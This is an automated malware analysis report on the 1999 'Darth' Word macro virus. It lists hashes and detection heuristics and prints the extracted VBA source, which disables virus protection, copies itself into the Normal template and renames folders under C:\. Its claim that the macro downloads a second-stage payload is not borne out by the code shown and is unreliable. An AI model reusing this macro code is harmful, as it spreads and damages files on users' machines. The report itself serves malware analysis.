Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8c98e091cb2c5af0…

MALICIOUS

Office (OLE)

30.0 KB Created: 1999-09-02 14:05:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8df29b6d31341cbc5e9993c261f45134 SHA-1: 84d0d5d8ff605f773663f99936ca174335208ebc SHA-256: 8c98e091cb2c5af01e744f18c02d162df12b8585c82a53d42853228931280b4f
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macro virus markers and VBA macros, including an Auto_Close macro, indicating malicious intent. The Auto_Close macro attempts to disable security features and export VBA components, suggesting it's designed to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Darth-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Darth-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2918 bytes
SHA-256: 1c71fb6b2970a5c331d1b9c50f0e8fe0dd730385a3a25de93cca5cec13288e45
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Darth"
Option Explicit

Sub AutoClose()
    Dim bProtected As Boolean
    Dim sCode As String
    Dim iFiles As Integer
    Dim NotInNorm As Boolean, NotInActiv As Boolean
    Dim Dobj As Object

    On Error Resume Next
        
    bProtected = False
    
    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "Darth"
        .Title = "1999/Darth Infection"
        .Subject = "Dark Jedi"
        .Comments = "Divide and die"
        .Keywords = " | Darth | Jedi | Lucas | "
        .Execute
    End With
    
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    Options.ConfirmConversions = False
    
    Application.ScreenUpdating = False
    Application.DisplayStatusBar = False
    Application.DisplayAlerts = False

    Open "C:\Darth.txt" For Input As #1
    Input #1, sCode
    Close #1
    If sCode = "Darth V1.0" Then bProtected = True
    
    If bProtected = False Then
        CommandBars("tools").Controls("Macro").Enabled = False
        CommandBars("tools").Controls("Customize...").Enabled = False
        CommandBars("view").Controls("Toolbars").Enabled = False
        CommandBars("view").Controls("Status Bar").Enabled = False

        If NormalTemplate.VBProject.VBComponents.Item("Darth").Name <> "Darth" Then
            NotInNorm = True
            ActiveDocument.VBProject.VBComponents("Darth").Export "c:\Darth.vxd"
            Set Dobj = NormalTemplate.VBProject
        ElseIf ActiveDocument.VBProject.VBComponents.Item("Darth").Name <> "Darth" Then
            NotInActiv = True
            NormalTemplate.VBProject.VBComponents("Darth").Export "c:\Darth.vxd"
            Set Dobj = ActiveDocument.VBProject
        End If
        If NotInNorm = True Or NotInActiv = True Then Dobj.VBComponents.Import ("c:\Darth.vxd")
        Kill "C:\darth.vxd"

        If Now > CDate("01/09/99 00:00:00") Then
            Dim MyPath As String, MyName As String
    
            MyPath = "c:\"
            MyName = Dir(MyPath, vbDirectory)
            Do While MyName <> ""
                If MyName <> "." And MyName <> ".." Then
                    If (GetAttr(MyPath & MyName) And vbDirectory) = vbDirectory Then
                        Name MyPath & MyName As MyPath & "Darth" & MyName
                    End If
                End If
                MyName = Dir
            Loop
        End If
        If NotInActiv = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
    End If
End Sub

Sub ToolsMacro()
End Sub
Sub FileTemplates()
End Sub
Sub ViewVBCode()
End Sub